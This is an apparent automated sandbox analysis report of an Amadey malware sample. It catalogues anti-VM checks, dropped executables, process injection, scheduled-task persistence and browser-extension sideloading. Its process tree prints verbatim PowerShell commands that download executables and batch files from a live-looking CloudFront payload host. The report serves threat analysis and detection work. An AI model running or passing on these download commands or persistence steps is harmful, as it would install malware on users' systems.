amadey | 3a1d7b3104e74006ff71fbbc23d83da87aae8c62556aeb24b8929f61bc4031fb

Virtualization/Sandbox Evasion

Processes:

axplons.exeaxplons.exeaxplons.exef6986f363dde0d5f374abd0a1dac252b.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f6986f363dde0d5f374abd0a1dac252b.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

72 2392 powershell.exe
74 2804 powershell.exe
77 2804 powershell.exe
84 3476 powershell.exe
89 3476 powershell.exe
Downloads MZ/PE file

flow	pid	process
72	2392	powershell.exe
74	2804	powershell.exe
77	2804	powershell.exe
84	3476	powershell.exe
89	3476	powershell.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

axplons.exeaxplons.exeaxplons.exef6986f363dde0d5f374abd0a1dac252b.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f6986f363dde0d5f374abd0a1dac252b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f6986f363dde0d5f374abd0a1dac252b.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Newoff.exef6986f363dde0d5f374abd0a1dac252b.exeaxplons.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	Newoff.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	f6986f363dde0d5f374abd0a1dac252b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	axplons.exe

Executes dropped EXE 11 IoCs

Processes:

axplons.exeNewoff.exetoolspub1.exelumma1234.exevpn-1002.exei0.exei0.tmpaxplons.exeNewoff.exeaxplons.exeNewoff.exe

pid	process
1028	axplons.exe
5036	Newoff.exe
3676	toolspub1.exe
1496	lumma1234.exe
3408	vpn-1002.exe
1820	i0.exe
1220	i0.tmp
4036	axplons.exe
1004	Newoff.exe
3212	axplons.exe
1836	Newoff.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

axplons.exeaxplons.exef6986f363dde0d5f374abd0a1dac252b.exeaxplons.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	f6986f363dde0d5f374abd0a1dac252b.exe
Key opened	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Software\Wine	axplons.exe

Loads dropped DLL 1 IoCs

Processes:

vpn-1002.exe

pid process

3408 vpn-1002.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

91 checkip.amazonaws.com
92 checkip.amazonaws.com
Drops file in System32 directory 1 IoCs

Processes:

i0.tmp

description ioc process

File created C:\Windows\system32\shlwapi_p.dll i0.tmp
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

f6986f363dde0d5f374abd0a1dac252b.exeaxplons.exeaxplons.exeaxplons.exe

pid process

4152 f6986f363dde0d5f374abd0a1dac252b.exe
1028 axplons.exe
4036 axplons.exe
3212 axplons.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

lumma1234.exe

description pid process target process

PID 1496 set thread context of 464 1496 lumma1234.exe RegAsm.exe

pid	process
3408	vpn-1002.exe

flow	ioc
91	checkip.amazonaws.com
92	checkip.amazonaws.com

description	ioc	process
File created	C:\Windows\system32\shlwapi_p.dll	i0.tmp

description	pid	process	target process
PID 1496 set thread context of 464	1496	lumma1234.exe	RegAsm.exe

Drops file in Program Files directory 15 IoCs

Processes:

i0.tmpchrome.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\chrome.exe.manifest	i0.tmp
File opened for modification	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\updates.xml	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Online Security\is-GRU6D.tmp	i0.tmp
File opened for modification	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\scoped_dir3992_1398604847\extension.zip	chrome.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml	i0.tmp

Drops file in Windows directory 1 IoCs

Processes:

f6986f363dde0d5f374abd0a1dac252b.exe

description ioc process

File created C:\Windows\Tasks\axplons.job f6986f363dde0d5f374abd0a1dac252b.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2392 powershell.exe
2804 powershell.exe
3476 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3212 3676 WerFault.exe toolspub1.exe

description	ioc	process
File created	C:\Windows\Tasks\axplons.job	f6986f363dde0d5f374abd0a1dac252b.exe

pid	process
2392	powershell.exe
2804	powershell.exe
3476	powershell.exe

pid	pid_target	process	target process
3212	3676	WerFault.exe	toolspub1.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspub1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3508 schtasks.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3576 taskkill.exe
756 taskkill.exe

pid	process
3508	schtasks.exe

pid	process
3576	taskkill.exe
756	taskkill.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	81	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	92	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	95	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

f6986f363dde0d5f374abd0a1dac252b.exeaxplons.exepowershell.exepowershell.exepowershell.exeaxplons.exeaxplons.exe

pid	process
4152	f6986f363dde0d5f374abd0a1dac252b.exe
4152	f6986f363dde0d5f374abd0a1dac252b.exe
1028	axplons.exe
1028	axplons.exe
2392	powershell.exe
2392	powershell.exe
2392	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
4036	axplons.exe
4036	axplons.exe
3212	axplons.exe
3212	axplons.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	756	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

i0.tmp

pid process

1220 i0.tmp

pid	process
1220	i0.tmp

Suspicious use of WriteProcessMemory 59 IoCs

Processes:

f6986f363dde0d5f374abd0a1dac252b.exeaxplons.exeNewoff.exelumma1234.exevpn-1002.execmd.exei0.exei0.tmpcmd.exechrome.exe

description	pid	process	target process
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	axplons.exe
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	axplons.exe
PID 4152 wrote to memory of 1028	4152	f6986f363dde0d5f374abd0a1dac252b.exe	axplons.exe
PID 1028 wrote to memory of 5036	1028	axplons.exe	Newoff.exe
PID 1028 wrote to memory of 5036	1028	axplons.exe	Newoff.exe
PID 1028 wrote to memory of 5036	1028	axplons.exe	Newoff.exe
PID 5036 wrote to memory of 3508	5036	Newoff.exe	schtasks.exe
PID 5036 wrote to memory of 3508	5036	Newoff.exe	schtasks.exe
PID 5036 wrote to memory of 3508	5036	Newoff.exe	schtasks.exe
PID 5036 wrote to memory of 3676	5036	Newoff.exe	toolspub1.exe
PID 5036 wrote to memory of 3676	5036	Newoff.exe	toolspub1.exe
PID 5036 wrote to memory of 3676	5036	Newoff.exe	toolspub1.exe
PID 1028 wrote to memory of 1496	1028	axplons.exe	lumma1234.exe
PID 1028 wrote to memory of 1496	1028	axplons.exe	lumma1234.exe
PID 1028 wrote to memory of 1496	1028	axplons.exe	lumma1234.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 1496 wrote to memory of 464	1496	lumma1234.exe	RegAsm.exe
PID 5036 wrote to memory of 3408	5036	Newoff.exe	vpn-1002.exe
PID 5036 wrote to memory of 3408	5036	Newoff.exe	vpn-1002.exe
PID 5036 wrote to memory of 3408	5036	Newoff.exe	vpn-1002.exe
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	cmd.exe
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	cmd.exe
PID 3408 wrote to memory of 4696	3408	vpn-1002.exe	cmd.exe
PID 4696 wrote to memory of 2392	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 2392	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 2392	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 2804	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 2804	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 2804	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 1820	4696	cmd.exe	i0.exe
PID 4696 wrote to memory of 1820	4696	cmd.exe	i0.exe
PID 4696 wrote to memory of 1820	4696	cmd.exe	i0.exe
PID 4696 wrote to memory of 3476	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 3476	4696	cmd.exe	powershell.exe
PID 4696 wrote to memory of 3476	4696	cmd.exe	powershell.exe
PID 1820 wrote to memory of 1220	1820	i0.exe	i0.tmp
PID 1820 wrote to memory of 1220	1820	i0.exe	i0.tmp
PID 1820 wrote to memory of 1220	1820	i0.exe	i0.tmp
PID 1220 wrote to memory of 4940	1220	i0.tmp	cmd.exe
PID 1220 wrote to memory of 4940	1220	i0.tmp	cmd.exe
PID 4940 wrote to memory of 3992	4940	cmd.exe	chrome.exe
PID 4940 wrote to memory of 3992	4940	cmd.exe	chrome.exe
PID 3992 wrote to memory of 4232	3992	chrome.exe	chrome.exe
PID 3992 wrote to memory of 4232	3992	chrome.exe	chrome.exe
PID 1220 wrote to memory of 5012	1220	i0.tmp	cmd.exe
PID 1220 wrote to memory of 5012	1220	i0.tmp	cmd.exe
PID 1220 wrote to memory of 1676	1220	i0.tmp	cmd.exe
PID 1220 wrote to memory of 1676	1220	i0.tmp	cmd.exe
PID 1220 wrote to memory of 756	1220	i0.tmp	taskkill.exe
PID 1220 wrote to memory of 756	1220	i0.tmp	taskkill.exe
PID 1220 wrote to memory of 3576	1220	i0.tmp	taskkill.exe
PID 1220 wrote to memory of 3576	1220	i0.tmp	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\f6986f363dde0d5f374abd0a1dac252b.exe
"C:\Users\Admin\AppData\Local\Temp\f6986f363dde0d5f374abd0a1dac252b.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4152

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1028

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
"C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F
4⤵
- Creates scheduled task(s)
PID:3508

C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe"
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:3676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 360
5⤵
- Program crash
PID:3212

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
"C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3408

C:\Windows\SysWOW64\cmd.exe
"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nse9174.tmp\abc.bat"
5⤵
- Suspicious use of WriteProcessMemory
PID:4696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Users\Admin\AppData\Local\Temp\i0.exe
i0.exe /verysilent /sub=1000
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1820

C:\Users\Admin\AppData\Local\Temp\is-L02UU.tmp\i0.tmp
"C:\Users\Admin\AppData\Local\Temp\is-L02UU.tmp\i0.tmp" /SL5="$16004E,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
7⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\mqcvau > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
8⤵
- Suspicious use of WriteProcessMemory
PID:4940

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\mqcvau
9⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3992

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffa4932ab58,0x7ffa4932ab68,0x7ffa4932ab78
10⤵
PID:4232

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\mqcvau.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
8⤵
PID:5012

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\netxdn > "C:\Users\Admin\AppData\Local\Temp\is-4VRA4.tmp\~execwithresult.txt""
8⤵
PID:1676

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /f /im "msedge.exe"
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:756

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /f /im "chrome.exe"
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3476

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
"C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3676 -ip 3676
1⤵
PID:3732

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4036

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:1004

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3212

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:1836

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery